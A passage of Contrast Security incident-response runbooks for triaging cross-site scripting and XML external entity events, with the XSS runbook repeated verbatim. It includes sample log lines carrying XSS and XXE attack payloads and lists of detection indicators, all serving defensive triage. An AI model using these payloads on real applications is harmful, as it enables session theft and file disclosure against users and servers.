currently necessary for operation. Consider the following options: 223 | 224 | - Ignore 225 | - Create Exclusion 226 | - Work with the application developer on alternative implementations that do not pose such risk to the application, but meets the business needs. 227 | 228 | ## Post-Incident Activities 229 | 230 | - **Documentation** 231 | - **Incident Report:** Document the incident, including findings, raw events and alerts, actions taken, assets impacted, and lessons learned. 232 | - **Update Documentation:** Keep security runbooks and documentation up to date. 233 | - **Communication** 234 | - **Notify Stakeholders:** Inform relevant stakeholders about the incident and steps taken. 235 | - **User Notification:** Notify affected users if there was a data breach. 236 | - **Review and Improve** 237 | - **Review Response:** Conduct a post-mortem to review the response and identify improvement areas. 238 | - **Enhance Security Posture:** Implement additional security measures and improve monitoring. 239 | -------------------------------------------------------------------------------- /_runbooks/cross-site-scripting.md: -------------------------------------------------------------------------------- 1 | --- 2 | layout: runbook 3 | title: "Cross-Site Scripting (XSS)" 4 | description: "Guide for handling cross-site scripting vulnerabilities where attackers inject malicious JavaScript code into websites viewed by other users" 5 | --- 6 | 7 | 8 | # Cross-Site Scripting (XSS) Runbook 9 | 10 | Cross-site scripting (XSS) is a type of web security vulnerability that allows an attacker to inject malicious JavaScript code into websites viewed by other users. Instead of the website displaying trusted content, the attacker's code is executed, which can compromise user accounts, steal sensitive data, or even take control of the user's browser. 11 | 12 | 13 | 14 | 15 | Example Event - Blocked outcome Cross-Site Scripting (XSS) 16 | `Oct 08 10:43:57 192.168.12.70 CEF:0|Contrast Security|Contrast Agent Java|6.9.0|SECURITY|The querystring QUERYSTRING had a value that successfully exploited reflected-xss - message=%3Cscript%3Ealert(document.domain(%3C/script%3E|WARN|pri=reflected-xss src=1.1.1.1 spt=8080 request=/error requestMethod=GET app=webapplication outcome=BLOCKED` 17 | 18 | 19 | Example Event 1 - Suspicious outcome Cross-Site Scripting (XSS) 20 | `Oct 08 08:28:20 192.168.12.70 CEF:0|Contrast Security|Contrast Agent Java|6.9.0|SECURITY|The parameter message had a value that that was marked suspicious reflected-xss - |WARN|pri=reflected-xss src=1.1.1.1 spt=8080 request=/xss requestMethod=GET app=webapplication outcome=SUSPICIOUS` 21 | 22 | 23 | 24 | \ 25 | What is the “outcome” of the event you are triaging? (click to proceed) 26 | 27 | 28 | - [Blocked](#blocked) 29 | - [Suspicious](#suspicious) 30 | 31 | - [Success](#success) 32 | 33 | 34 | 35 | 36 | ## Blocked 37 | 38 | "Blocked" means Contrast detected an input coming into an application that looked like a cross-site scripting attack and subsequently blocked it. 39 | 40 | To verify this is a true positive, review the following attributes of the event: 41 | 42 | - Are HTML tags included in the payload? (<>, ) 43 | - Are suspicious HTML attributes present in the payload? (onerror, onload, onfocus, etc) 44 | - Look for any suspicious protocols within the payload, such as javascript: or data:. 45 | - Are there application logs with relevant error messages? 46 | 47 | 48 | \ 49 | Examples: 50 | 51 | - `` 52 | - `` 53 | - `Click me` 54 | - `javascript:alert(1)` 55 | - `data:text/html,` 56 | 57 | 58 | \ 59 | Is the event a true positive? (click to proceed) 60 | 61 | - [No](#blocked-false-positive) 62 | - [Yes, or unsure](#blocked-true-positive) 63 | 64 | 65 | 66 | ## Suspicious 67 | 68 | "Suspicious" means Contrast detected an input coming into an application that looked like a cross-site scripting payload. Contrast reports suspicious for non-input tracing rules where Contrast is unable to verify that an attack occurred, and the rule is in monitor mode. 69 | 70 | To verify this is a true positive, review the following attributes of the event: 71 | 72 | - Are HTML tags included in the payload? (<>, ) 73 | - Are suspicious HTML attributes present in the payload? (onerror, onload, onfocus, etc) 74 | - Look for any suspicious protocols within the payload, such as javascript: or data:. 75 | - Are there application logs with relevant error messages? 76 | 77 | 78 | \ 79 | Examples: 80 | 81 | - `` 82 | - `` 83 | - `Click me` 84 | - `javascript:alert(1)` 85 | - `data:text/html,` 86 | 87 | 88 | \ 89 | Is the event a true positive? (click to proceed) 90 | 91 | - [No](#suspicious-false-positive) 92 | - [Yes, or unsure](#suspicious-true-positive) 93 | 94 | 95 | 96 | 97 | ## Success 98 | 99 | “Success" means that Contrast's security measures functioned as intended, preventing unauthorized access or potentially malicious activity from reaching the application. This could be due to a [virtual patch](https://docs.contrastsecurity.com/en/virtual-patches.html), [IP block](https://docs.contrastsecurity.com/en/block-or-allow-ips.html), or [bot block rule](https://docs.contrastsecurity.com/en/server-configuration.html#:~:text=Bot%20blocking%20blocks%20traffic%20from,Events%2C%20use%20the%20filter%20options.) being triggered. 100 | 101 | Generally, these events don't necessitate action because they signify the system is working correctly. 102 | 103 | However, further investigation may be beneficial in specific scenarios to gain more insights or proactively enhance security: 104 | 105 | - Should the event have been blocked?: 106 | - If the event is from an [IP block](https://docs.contrastsecurity.com/en/block-or-allow-ips.html): 107 | - Correlate the IP address with other events to identify any attempted malicious actions. 108 | - Look up the IP address's reputation and origin to determine if it's known for malicious activity. 109 | - Check if the IP is listed on any other denylists across your systems. 110 | - If the event is from a [Virtual Patch](https://docs.contrastsecurity.com/en/virtual-patches.html): 111 | - Correlate the event with any exploited or probed events. 112 | - Confirm if the virtual patch is protecting a known vulnerability in the application. 113 | - If the event is from a [Bot Block](https://docs.contrastsecurity.com/en/server-configuration.html#:~:text=Bot%20blocking%20blocks%20traffic%20from,Events%2C%20use%20the%20filter%20options.): 114 | - Analyze the user-agent header of the HTTP request. Only requests originating from known scanning, fuzzing, or malicious user-agents should be blocked. 115 | 116 | \ 117 | If the event appears to be for legitimate traffic, an [exclusion](https://docs.contrastsecurity.com/en/application-exclusions.html) can be configured. 118 | 119 | \ 120 | [Proceed to Post-Incident Activities](#post-incident-activities) 121 | 122 | 123 | 124 | 125 | 126 | 127 | ## Suspicious True Positive 128 | 129 | It is possible that the event is a True Positive, but is benign. A Benign True Positive is when an application relies on vulnerable behavior that could potentially be exploited, but is currently necessary for operation. This determination will often require the assistance of the development or application security teams. 130 | 131 | If the event appears to be a Benign True Positive, click [here](#benign-true-positive). 132 | 133 | \ 134 | If it does not appear to be a Benign True Positive, the most immediate action to stop an "active" attack would be to block the current attacker of the exploited event, while further triage could result in a [virtual patch](https://docs.contrastsecurity.com/en/virtual-patches.html)/[enabling block mode](https://docs.contrastsecurity.com/en/set-protect-rules.html) for the rule: 135 | 136 | - Is the attack originating from a specific IP[s] that is a real external IP address (not internal load balancer or network device) and not the public IP address for a large company network? 137 | - Block using network appliance 138 | - [Block using Contrast](https://docs.contrastsecurity.com/en/ip-management.html) 139 | - Are all of the events originating from the same application user account? 140 | - Determine if the account is a legitimate account 141 | - If so, attempt to help them recover the account by contacting and authenticating the legitimate user, arranging to change their credentials, and recover from any damage. 142 | - If not, consider the following options: 143 | - Ban the account 144 | - Disable the account 145 | - Delete the account 146 | 147 | \ 148 | \ 149 | Once the current attack has been stopped, consider taking additional steps to prevent future exploitation. 150 | 151 | - If the only “Exploited” events for this rule are true positives, then the rule can be switched to “Block” mode which will prevent future exploitation. 152 | - If there are other “Exploited” events that appear to be legitimate, benign traffic, then “Block” mode would block those events as well, which could have negative impact to the application. 153 | - Before enabling “Block” mode for this situation, you must first exclude the legitimate, benign traffic being caught in the rule. 154 | - Alternatively, you can set up a Virtual Patch that only allows the legitimate, benign traffic through and any non-matches will be blocked. 155 | 156 | If none of the above options are satisfactory and it's perceived the application is at great risk, you can consider shutting down the application or removing network connectivity. 157 | 158 | \ 159 | \ 160 | Post Containment 161 | 162 | - If confirmed this is a True Positive, it should be raised with the appsec/dev teams to get fixed. Useful information for those teams would be: 163 | 164 | - Application name 165 | - Is app in production, development, staging, etc 166 | - Affected URL 167 | - Attack payload 168 | - Stack trace of the request 169 | - To better understand the extent of the incident and to ensure the attack is no longer occurring, look for other IOCs: 170 | - Did the same IP Address Generate Other Alerts? 171 | - Is the vulnerability being exploited by other actors? 172 | - Spike in traffic or repeated access patterns to the vulnerable URL 173 | - Correlate exploited events with any "probed" or "blocked" events 174 | - If the attack was able to execute commands on the server, the server may need to be considered compromised and reviewed for persistence and other lateral movement. 175 | 176 | \ 177 | \ 178 | [Proceed to Post-Incident Activities](#post-incident-activities) 179 | 180 | 181 | 182 | ## Suspicious False Positive 183 | 184 | If the event seems to be a False Positive, consider the following options: 185 | - Ignore 186 | - Create Exclusion 187 | 188 | \ 189 | \ 190 | [Proceed to Post-Incident Activities](#post-incident-activities) 191 | 192 | 193 | 194 | 195 | ## Blocked True Positive 196 | 197 | It is possible that the event is a True Positive, but benign. A Benign True Positive is when an application’s design relies on vulnerable behavior that could potentially be exploited, but is currently necessary for operation. This determination will often require the assistance of the development or application security teams. 198 | 199 | If the event appears to be a Benign True Positive, click [here](#benign-true-positive). 200 | 201 | If it does not appear to be a Benign True Positive, consider the following options: 202 | 203 | - If one IP address is generating a lot of blocked events, it's probably worthwhile to block it. 204 | - Notify Dev/Appsec team of Vulnerability. Useful information for those teams would be: 205 | - Application name 206 | - Is app in production, development, staging, etc 207 | - Affected URL 208 | - payload 209 | - Stack trace of the request 210 | - Look for IOCs of further attacks in other parts/inputs of the application 211 | - Other blocked or probed events? 212 | - Did anything show up as "exploited" indicating a different rule did not have blocking enabled? 213 | - Ignore 214 | 215 | [Proceed to Post-Incident Activities](#post-incident-activities) 216 | 217 | 218 | 219 | ## Blocked False Positive 220 | 221 | If the event seems to be a False Positive, then Contrast may be blocking legitimate usage of the application, therefore negatively impacting it. 222 | 223 | - Create an exclusion to allow the legitimate traffic through so that you can continue to be protected by “Block” mode without the negative impact. 224 | - Alternatively, you can set up a Virtual Patch that only allows legitimate traffic through and any non-matches (attack traffic) will be blocked. 225 | - If neither of the above options are satisfactory and the negative impact of the application must be avoided, you can switch the rule to “Monitor” mode. 226 | 227 | [Proceed to Post-Incident Activities](#post-incident-activities) 228 | 229 | 230 | ## Benign True Positive 231 | 232 | To review, a Benign True Positive occurs when an application relies on vulnerable behavior that could potentially be exploited, but is currently necessary for operation. Consider the following options: 233 | 234 | - Ignore 235 | - Create Exclusion 236 | - Work with the application developer on alternative implementations that do not pose such risk to the application, but meets the business needs. 237 | 238 | ## Post-Incident Activities 239 | 240 | - **Documentation** 241 | - **Incident Report:** Document the incident, including findings, raw events and alerts, actions taken, assets impacted, and lessons learned. 242 | - **Update Documentation:** Keep security runbooks and documentation up to date. 243 | - **Communication** 244 | - **Notify Stakeholders:** Inform relevant stakeholders about the incident and steps taken. 245 | - **User Notification:** Notify affected users if there was a data breach. 246 | - **Review and Improve** 247 | - **Review Response:** Conduct a post-mortem to review the response and identify improvement areas. 248 | - **Enhance Security Posture:** Implement additional security measures and improve monitoring. 249 | -------------------------------------------------------------------------------- /_incident-runbooks/cross-site-scripting.md: -------------------------------------------------------------------------------- 1 | --- 2 | layout: runbook 3 | title: "Cross-Site Scripting (XSS)" 4 | description: "Guide for handling cross-site scripting vulnerabilities where attackers inject malicious JavaScript code into websites viewed by other users" 5 | --- 6 | 7 | 8 | # Cross-Site Scripting (XSS) Runbook 9 | 10 | Cross-site scripting (XSS) is a type of web security vulnerability that allows an attacker to inject malicious JavaScript code into websites viewed by other users. Instead of the website displaying trusted content, the attacker's code is executed, which can compromise user accounts, steal sensitive data, or even take control of the user's browser. 11 | 12 | 13 | 14 | 15 | Example Event - Blocked outcome Cross-Site Scripting (XSS) 16 | `Oct 08 10:43:57 192.168.12.70 CEF:0|Contrast Security|Contrast Agent Java|6.9.0|SECURITY|The querystring QUERYSTRING had a value that successfully exploited reflected-xss - message=%3Cscript%3Ealert(document.domain(%3C/script%3E|WARN|pri=reflected-xss src=1.1.1.1 spt=8080 request=/error requestMethod=GET app=webapplication outcome=BLOCKED` 17 | 18 | 19 | Example Event 1 - Suspicious outcome Cross-Site Scripting (XSS) 20 | `Oct 08 08:28:20 192.168.12.70 CEF:0|Contrast Security|Contrast Agent Java|6.9.0|SECURITY|The parameter message had a value that that was marked suspicious reflected-xss - |WARN|pri=reflected-xss src=1.1.1.1 spt=8080 request=/xss requestMethod=GET app=webapplication outcome=SUSPICIOUS` 21 | 22 | 23 | 24 | \ 25 | What is the “outcome” of the event you are triaging? (click to proceed) 26 | 27 | 28 | - [Blocked](#blocked) 29 | - [Suspicious](#suspicious) 30 | 31 | - [Success](#success) 32 | 33 | 34 | 35 | 36 | ## Blocked 37 | 38 | "Blocked" means Contrast detected an input coming into an application that looked like a cross-site scripting attack and subsequently blocked it. 39 | 40 | To verify this is a true positive, review the following attributes of the event: 41 | 42 | - Are HTML tags included in the payload? (<>, ) 43 | - Are suspicious HTML attributes present in the payload? (onerror, onload, onfocus, etc) 44 | - Look for any suspicious protocols within the payload, such as javascript: or data:. 45 | - Are there application logs with relevant error messages? 46 | 47 | 48 | \ 49 | Examples: 50 | 51 | - `` 52 | - `` 53 | - `Click me` 54 | - `javascript:alert(1)` 55 | - `data:text/html,` 56 | 57 | 58 | \ 59 | Is the event a true positive? (click to proceed) 60 | 61 | - [No](#blocked-false-positive) 62 | - [Yes, or unsure](#blocked-true-positive) 63 | 64 | 65 | 66 | ## Suspicious 67 | 68 | "Suspicious" means Contrast detected an input coming into an application that looked like a cross-site scripting payload. Contrast reports suspicious for non-input tracing rules where Contrast is unable to verify that an attack occurred, and the rule is in monitor mode. 69 | 70 | To verify this is a true positive, review the following attributes of the event: 71 | 72 | - Are HTML tags included in the payload? (<>, ) 73 | - Are suspicious HTML attributes present in the payload? (onerror, onload, onfocus, etc) 74 | - Look for any suspicious protocols within the payload, such as javascript: or data:. 75 | - Are there application logs with relevant error messages? 76 | 77 | 78 | \ 79 | Examples: 80 | 81 | - `` 82 | - `` 83 | - `Click me` 84 | - `javascript:alert(1)` 85 | - `data:text/html,` 86 | 87 | 88 | \ 89 | Is the event a true positive? (click to proceed) 90 | 91 | - [No](#suspicious-false-positive) 92 | - [Yes, or unsure](#suspicious-true-positive) 93 | 94 | 95 | 96 | 97 | ## Success 98 | 99 | “Success" means that Contrast's security measures functioned as intended, preventing unauthorized access or potentially malicious activity from reaching the application. This could be due to a [virtual patch](https://docs.contrastsecurity.com/en/virtual-patches.html), [IP block](https://docs.contrastsecurity.com/en/block-or-allow-ips.html), or [bot block rule](https://docs.contrastsecurity.com/en/server-configuration.html#:~:text=Bot%20blocking%20blocks%20traffic%20from,Events%2C%20use%20the%20filter%20options.) being triggered. 100 | 101 | Generally, these events don't necessitate action because they signify the system is working correctly. 102 | 103 | However, further investigation may be beneficial in specific scenarios to gain more insights or proactively enhance security: 104 | 105 | - Should the event have been blocked?: 106 | - If the event is from an [IP block](https://docs.contrastsecurity.com/en/block-or-allow-ips.html): 107 | - Correlate the IP address with other events to identify any attempted malicious actions. 108 | - Look up the IP address's reputation and origin to determine if it's known for malicious activity. 109 | - Check if the IP is listed on any other denylists across your systems. 110 | - If the event is from a [Virtual Patch](https://docs.contrastsecurity.com/en/virtual-patches.html): 111 | - Correlate the event with any exploited or probed events. 112 | - Confirm if the virtual patch is protecting a known vulnerability in the application. 113 | - If the event is from a [Bot Block](https://docs.contrastsecurity.com/en/server-configuration.html#:~:text=Bot%20blocking%20blocks%20traffic%20from,Events%2C%20use%20the%20filter%20options.): 114 | - Analyze the user-agent header of the HTTP request. Only requests originating from known scanning, fuzzing, or malicious user-agents should be blocked. 115 | 116 | \ 117 | If the event appears to be for legitimate traffic, an [exclusion](https://docs.contrastsecurity.com/en/application-exclusions.html) can be configured. 118 | 119 | \ 120 | [Proceed to Post-Incident Activities](#post-incident-activities) 121 | 122 | 123 | 124 | 125 | 126 | 127 | ## Suspicious True Positive 128 | 129 | It is possible that the event is a True Positive, but is benign. A Benign True Positive is when an application relies on vulnerable behavior that could potentially be exploited, but is currently necessary for operation. This determination will often require the assistance of the development or application security teams. 130 | 131 | If the event appears to be a Benign True Positive, click [here](#benign-true-positive). 132 | 133 | \ 134 | If it does not appear to be a Benign True Positive, the most immediate action to stop an "active" attack would be to block the current attacker of the exploited event, while further triage could result in a [virtual patch](https://docs.contrastsecurity.com/en/virtual-patches.html)/[enabling block mode](https://docs.contrastsecurity.com/en/set-protect-rules.html) for the rule: 135 | 136 | - Is the attack originating from a specific IP[s] that is a real external IP address (not internal load balancer or network device) and not the public IP address for a large company network? 137 | - Block using network appliance 138 | - [Block using Contrast](https://docs.contrastsecurity.com/en/ip-management.html) 139 | - Are all of the events originating from the same application user account? 140 | - Determine if the account is a legitimate account 141 | - If so, attempt to help them recover the account by contacting and authenticating the legitimate user, arranging to change their credentials, and recover from any damage. 142 | - If not, consider the following options: 143 | - Ban the account 144 | - Disable the account 145 | - Delete the account 146 | 147 | \ 148 | \ 149 | Once the current attack has been stopped, consider taking additional steps to prevent future exploitation. 150 | 151 | - If the only “Exploited” events for this rule are true positives, then the rule can be switched to “Block” mode which will prevent future exploitation. 152 | - If there are other “Exploited” events that appear to be legitimate, benign traffic, then “Block” mode would block those events as well, which could have negative impact to the application. 153 | - Before enabling “Block” mode for this situation, you must first exclude the legitimate, benign traffic being caught in the rule. 154 | - Alternatively, you can set up a Virtual Patch that only allows the legitimate, benign traffic through and any non-matches will be blocked. 155 | 156 | If none of the above options are satisfactory and it's perceived the application is at great risk, you can consider shutting down the application or removing network connectivity. 157 | 158 | \ 159 | \ 160 | Post Containment 161 | 162 | - If confirmed this is a True Positive, it should be raised with the appsec/dev teams to get fixed. Useful information for those teams would be: 163 | 164 | - Application name 165 | - Is app in production, development, staging, etc 166 | - Affected URL 167 | - Attack payload 168 | - Stack trace of the request 169 | - To better understand the extent of the incident and to ensure the attack is no longer occurring, look for other IOCs: 170 | - Did the same IP Address Generate Other Alerts? 171 | - Is the vulnerability being exploited by other actors? 172 | - Spike in traffic or repeated access patterns to the vulnerable URL 173 | - Correlate exploited events with any "probed" or "blocked" events 174 | - If the attack was able to execute commands on the server, the server may need to be considered compromised and reviewed for persistence and other lateral movement. 175 | 176 | \ 177 | \ 178 | [Proceed to Post-Incident Activities](#post-incident-activities) 179 | 180 | 181 | 182 | ## Suspicious False Positive 183 | 184 | If the event seems to be a False Positive, consider the following options: 185 | - Ignore 186 | - Create Exclusion 187 | 188 | \ 189 | \ 190 | [Proceed to Post-Incident Activities](#post-incident-activities) 191 | 192 | 193 | 194 | 195 | ## Blocked True Positive 196 | 197 | It is possible that the event is a True Positive, but benign. A Benign True Positive is when an application’s design relies on vulnerable behavior that could potentially be exploited, but is currently necessary for operation. This determination will often require the assistance of the development or application security teams. 198 | 199 | If the event appears to be a Benign True Positive, click [here](#benign-true-positive). 200 | 201 | If it does not appear to be a Benign True Positive, consider the following options: 202 | 203 | - If one IP address is generating a lot of blocked events, it's probably worthwhile to block it. 204 | - Notify Dev/Appsec team of Vulnerability. Useful information for those teams would be: 205 | - Application name 206 | - Is app in production, development, staging, etc 207 | - Affected URL 208 | - payload 209 | - Stack trace of the request 210 | - Look for IOCs of further attacks in other parts/inputs of the application 211 | - Other blocked or probed events? 212 | - Did anything show up as "exploited" indicating a different rule did not have blocking enabled? 213 | - Ignore 214 | 215 | [Proceed to Post-Incident Activities](#post-incident-activities) 216 | 217 | 218 | 219 | ## Blocked False Positive 220 | 221 | If the event seems to be a False Positive, then Contrast may be blocking legitimate usage of the application, therefore negatively impacting it. 222 | 223 | - Create an exclusion to allow the legitimate traffic through so that you can continue to be protected by “Block” mode without the negative impact. 224 | - Alternatively, you can set up a Virtual Patch that only allows legitimate traffic through and any non-matches (attack traffic) will be blocked. 225 | - If neither of the above options are satisfactory and the negative impact of the application must be avoided, you can switch the rule to “Monitor” mode. 226 | 227 | [Proceed to Post-Incident Activities](#post-incident-activities) 228 | 229 | 230 | ## Benign True Positive 231 | 232 | To review, a Benign True Positive occurs when an application relies on vulnerable behavior that could potentially be exploited, but is currently necessary for operation. Consider the following options: 233 | 234 | - Ignore 235 | - Create Exclusion 236 | - Work with the application developer on alternative implementations that do not pose such risk to the application, but meets the business needs. 237 | 238 | ## Post-Incident Activities 239 | 240 | - **Documentation** 241 | - **Incident Report:** Document the incident, including findings, raw events and alerts, actions taken, assets impacted, and lessons learned. 242 | - **Update Documentation:** Keep security runbooks and documentation up to date. 243 | - **Communication** 244 | - **Notify Stakeholders:** Inform relevant stakeholders about the incident and steps taken. 245 | - **User Notification:** Notify affected users if there was a data breach. 246 | - **Review and Improve** 247 | - **Review Response:** Conduct a post-mortem to review the response and identify improvement areas. 248 | - **Enhance Security Posture:** Implement additional security measures and improve monitoring. 249 | -------------------------------------------------------------------------------- /_runbooks/xml-external-entity-injection.md: -------------------------------------------------------------------------------- 1 | --- 2 | layout: runbook 3 | title: "XML External Entity Injection" 4 | description: "Guide for addressing XXE flaws in XML parsers where attackers can cause the parser to read local or remote resources as part of the document" 5 | --- 6 | 7 | 8 | # XML External Entity Injection Runbook 9 | 10 | XXE is a flaw in XML parsers where attackers can cause the parser to read local or remote resources as part of the document. Attackers often abuse this functionality to access other sensitive system information. 11 | 12 | 13 | Example Event - Exploited outcome XML External Entity Injection 14 | `Oct 18 10:37:49 192.168.12.70 CEF:0|Contrast Security|Contrast Agent Java|6.9.0|SECURITY|The input XML Prolog had a value that successfully exploited xxe - ]> &example; |WARN|pri=xxe src=0:0:0:0:0:0:0:1 spt=8080 request=/parse-xml requestMethod=POST app=web-application outcome=EXPLOITED` 15 | 16 | 17 | 18 | Example Event - Blocked outcome XML External Entity Injection 19 | `Oct 18 10:58:06 192.168.12.70 CEF:0|Contrast Security|Contrast Agent Java|6.9.0|SECURITY|The input XML Prolog had a value that successfully exploited xxe - ]> &example; |WARN|pri=xxe src=0:0:0:0:0:0:0:1 spt=8080 request=/parse-xml requestMethod=POST app=web-application outcome=BLOCKED` 20 | 21 | 22 | 23 | 24 | \ 25 | What is the “outcome” of the event you are triaging? (click to proceed) 26 | 27 | - [Exploited](#exploited) 28 | - [Blocked](#blocked) 29 | 30 | - [Ineffective](#ineffective) 31 | - [Success](#success) 32 | 33 | 34 | ## Exploited 35 | 36 | "Exploited" indicates that Contrast detected an incoming input resembling an XML string containing external entities and then confirmed the declared entities were resolved by the XML parser. 37 | 38 | To verify this is a true positive, review the following attributes of the event for common indicators: 39 | 40 | - Are entity declaration keywords present in the payload? ( ]>&example;` 52 | - ` ]>&example;` 53 | 54 | \ 55 | Does the event appear to be a true positive? (click to proceed) 56 | 57 | - [No](#exploited-false-positive) 58 | - [Yes, or unsure](#exploited-true-positive) 59 | 60 | 61 | 62 | ## Blocked 63 | 64 | "Blocked" indicates that Contrast detected an incoming input resembling an XML string containing external entities and then confirmed the declared entities were being resolved by the XML parser and therefore blocked the application from performing the operation. 65 | 66 | To verify this is a true positive, review the following attributes of the event: 67 | 68 | - Are entity declaration keywords present in the payload? ( ]>&example;` 79 | - ` ]>&example;` 80 | 81 | 82 | \ 83 | Is the event a true positive? (click to proceed) 84 | 85 | - [No](#blocked-false-positive) 86 | - [Yes, or unsure](#blocked-true-positive) 87 | 88 | 89 | 90 | 91 | 92 | 93 | ## Ineffective 94 | 95 | "Ineffective" means that Contrast detected an incoming input resembling an XML external entity injection, but it did not confirm that the entities were resolved. This is called a “Probe” within the Contrast UI. This event is a real attack attempt to exploit your application, but it was ineffective. Probes can indicate an attacker scanning or exploring for vulnerabilities. 96 | 97 | - Does the probe event appear to be caused by legitimate traffic and numerous similar probe events are being generated, an [exclusion](https://docs.contrastsecurity.com/en/application-exclusions.html) can be configured to clean up Contrast data. 98 | - Is the probe originating from a specific ip[s] that is a real external IP address (not internal load balancer or network device) and not the public IP address for a large company network? Consider… 99 | - Block using network appliance 100 | - [Block using Contrast](https://docs.contrastsecurity.com/en/ip-management.html) 101 | - Are all of the events originating from the same application user account 102 | - Determine if the account is a legitimate account 103 | - If so, attempt to help them recover the account by contacting and authenticating the legitimate user, arranging to change their credentials, and recover from any damage. 104 | - If not, consider the following options: 105 | - Ban the account 106 | - Disable the account 107 | - Delete the account 108 | 109 | \ 110 | [Proceed to Post-Incident Activities](#post-incident-activities) 111 | 112 | 113 | ## Success 114 | 115 | “Success" means that Contrast's security measures functioned as intended, preventing unauthorized access or potentially malicious activity from reaching the application. This could be due to a [virtual patch](https://docs.contrastsecurity.com/en/virtual-patches.html), [IP block](https://docs.contrastsecurity.com/en/block-or-allow-ips.html), or [bot block rule](https://docs.contrastsecurity.com/en/server-configuration.html#:~:text=Bot%20blocking%20blocks%20traffic%20from,Events%2C%20use%20the%20filter%20options.) being triggered. 116 | 117 | Generally, these events don't necessitate action because they signify the system is working correctly. 118 | 119 | However, further investigation may be beneficial in specific scenarios to gain more insights or proactively enhance security: 120 | 121 | - Should the event have been blocked?: 122 | - If the event is from an [IP block](https://docs.contrastsecurity.com/en/block-or-allow-ips.html): 123 | - Correlate the IP address with other events to identify any attempted malicious actions. 124 | - Look up the IP address's reputation and origin to determine if it's known for malicious activity. 125 | - Check if the IP is listed on any other denylists across your systems. 126 | - If the event is from a [Virtual Patch](https://docs.contrastsecurity.com/en/virtual-patches.html): 127 | - Correlate the event with any exploited or probed events. 128 | - Confirm if the virtual patch is protecting a known vulnerability in the application. 129 | - If the event is from a [Bot Block](https://docs.contrastsecurity.com/en/server-configuration.html#:~:text=Bot%20blocking%20blocks%20traffic%20from,Events%2C%20use%20the%20filter%20options.): 130 | - Analyze the user-agent header of the HTTP request. Only requests originating from known scanning, fuzzing, or malicious user-agents should be blocked. 131 | 132 | \ 133 | If the event appears to be for legitimate traffic, an [exclusion](https://docs.contrastsecurity.com/en/application-exclusions.html) can be configured. 134 | 135 | \ 136 | [Proceed to Post-Incident Activities](#post-incident-activities) 137 | 138 | 139 | ## Exploited True Positive 140 | 141 | It is possible that the event is a True Positive, but is benign. A Benign True Positive is when an application relies on vulnerable behavior that could potentially be exploited, but is currently necessary for operation. This determination will often require the assistance of the development or application security teams. 142 | 143 | If the event appears to be a Benign True Positive, click [here](#benign-true-positive). 144 | 145 | \ 146 | If it does not appear to be a Benign True Positive, the most immediate action to stop an "active" attack would be to block the current attacker of the exploited event, while further triage could result in a [virtual patch](https://docs.contrastsecurity.com/en/virtual-patches.html)/[enabling block mode](https://docs.contrastsecurity.com/en/set-protect-rules.html) for the rule: 147 | 148 | - Is the attack originating from a specific IP[s] that is a real external IP address (not internal load balancer or network device) and not the public IP address for a large company network? 149 | - Block using network appliance 150 | - [Block using Contrast](https://docs.contrastsecurity.com/en/ip-management.html) 151 | - Are all of the events originating from the same application user account? 152 | - Determine if the account is a legitimate account 153 | - If so, attempt to help them recover the account by contacting and authenticating the legitimate user, arranging to change their credentials, and recover from any damage. 154 | - If not, consider the following options: 155 | - Ban the account 156 | - Disable the account 157 | - Delete the account 158 | 159 | \ 160 | \ 161 | Once the current attack has been stopped, consider taking additional steps to prevent future exploitation. 162 | 163 | - If the only “Exploited” events for this rule are true positives, then the rule can be [switched to “Block” mode](https://docs.contrastsecurity.com/en/set-protect-rules.html) which will prevent future exploitation. 164 | - If there are other “Exploited” events that appear to be legitimate, benign traffic, then “Block” mode would block those events as well, which could have negative impact to the application. 165 | - Before enabling “Block” mode for this situation, you must first exclude the legitimate, benign traffic being caught in the rule. 166 | - Alternatively, you can set up a [Virtual Patch](https://docs.contrastsecurity.com/en/virtual-patches.html) that only allows the legitimate, benign traffic through and any non-matches will be blocked. 167 | 168 | If none of the above options are satisfactory and it's perceived the application is at great risk, you can consider shutting down the application or removing network connectivity. 169 | 170 | \ 171 | \ 172 | Post Containment 173 | 174 | - If confirmed this is a True Positive, it should be raised with the appsec/dev teams to get fixed. Useful information for those teams would be: 175 | 176 | - Application name 177 | - Is app in production, development, staging, etc 178 | - Affected URL 179 | - Attack payload 180 | - Stack trace of the request 181 | - To better understand the extent of the incident and to ensure the attack is no longer occurring, look for other IOCs: 182 | - Did the same IP Address Generate Other Alerts? 183 | - Is the vulnerability being exploited by other actors? 184 | - Spike in traffic or repeated access patterns to the vulnerable URL 185 | - Correlate exploited events with any "probed" or "blocked" events 186 | - If the attack was able to execute commands on the server, the server may need to be considered compromised and reviewed for persistence and other lateral movement. 187 | 188 | \ 189 | \ 190 | [Proceed to Post-Incident Activities](#post-incident-activities) 191 | 192 | 193 | 194 | ## Exploited False Positive 195 | 196 | If the event seems to be a False Positive, consider the following options: 197 | 198 | - Ignore 199 | - [Create Exclusion](https://docs.contrastsecurity.com/en/application-exclusions.html) 200 | 201 | \ 202 | [Proceed to Post-Incident Activities](#post-incident-activities) 203 | 204 | 205 | 206 | 207 | 208 | 209 | 210 | 211 | ## Blocked True Positive 212 | 213 | It is possible that the event is a True Positive, but benign. A Benign True Positive is when an application’s design relies on vulnerable behavior that could potentially be exploited, but is currently necessary for operation. This determination will often require the assistance of the development or application security teams. 214 | 215 | If the event appears to be a Benign True Positive, click [here](#benign-true-positive). 216 | 217 | If it does not appear to be a Benign True Positive, consider the following options: 218 | 219 | - If one IP address is generating a lot of blocked events, it's probably worthwhile to block it. 220 | - Notify Dev/Appsec team of Vulnerability. Useful information for those teams would be: 221 | - Application name 222 | - Is app in production, development, staging, etc 223 | - Affected URL 224 | - payload 225 | - Stack trace of the request 226 | - Look for IOCs of further attacks in other parts/inputs of the application 227 | - Other blocked or probed events? 228 | - Did anything show up as "exploited" indicating a different rule did not have blocking enabled? 229 | - Ignore 230 | 231 | [Proceed to Post-Incident Activities](#post-incident-activities) 232 | 233 | 234 | 235 | ## Blocked False Positive 236 | 237 | If the event seems to be a False Positive, then Contrast may be blocking legitimate usage of the application, therefore negatively impacting it. 238 | 239 | - Create an exclusion to allow the legitimate traffic through so that you can continue to be protected by “Block” mode without the negative impact. 240 | - Alternatively, you can set up a Virtual Patch that only allows legitimate traffic through and any non-matches (attack traffic) will be blocked. 241 | - If neither of the above options are satisfactory and the negative impact of the application must be avoided, you can switch the rule to “Monitor” mode. 242 | 243 | [Proceed to Post-Incident Activities](#post-incident-activities) 244 | 245 | 246 | ## Benign True Positive 247 | 248 | To review, a Benign True Positive occurs when an application relies on vulnerable behavior that could potentially be exploited, but is currently necessary for operation. Consider the following options: 249 | 250 | - Ignore 